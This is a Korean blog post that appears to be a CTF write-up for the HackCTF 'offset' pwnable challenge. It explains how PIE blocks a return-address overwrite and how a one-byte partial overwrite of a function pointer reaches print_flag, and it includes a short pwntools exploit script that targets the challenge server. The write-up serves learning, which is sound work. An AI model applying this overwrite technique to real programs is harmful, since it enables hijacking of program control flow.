[hackctf] offset

sangjun

·

2021. 4. 18. 18:36

반응형

 

문제 소스

 

보호기법

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

 

문제 분석 및 페이로드

1. gets함수가 있으나 pie보호 기법이 걸려 ret over write를 해도 print_flag함수 호출 불가능

2. two함수와 print_flag주소가 인접함을 눈치챔

3. select_func함수에서 결론적으로 v3()를 호출하는데 dest변수에 strncpy를 해주기 때문에 v3변수의 하위 1바이트 변조가능

 

from pwn import *
context.log_level='debug'
#p=process('./offset')
dns,port="ctf.j0n9hyun.xyz",3007
p=remote(dns,port)
e=ELF("./offset")

pay='\xd8'*0x1f

p.recvline()
p.sendline(pay)

p.recvline()
p.recvline()

 

 

 

참고문헌 및 힘들었던 부분

1. 계속 ret over write시도함

--> pie보호 기법 체크하기 꼭꼭

반응형

'War Games > hack-ctf' 카테고리의 다른 글

[hackctf] Yes or no  (0) 2021.04.18
[hackctf] BOF_PIE  (0) 2021.04.18
[hackctf] Simple_Overflow_ver_2  (0) 2021.04.18
[hackctf] x64 Simple_size_BOF  (0) 2021.04.18
[hackctf] x64 Buffer Overflow  (0) 2021.04.18

0개의 댓글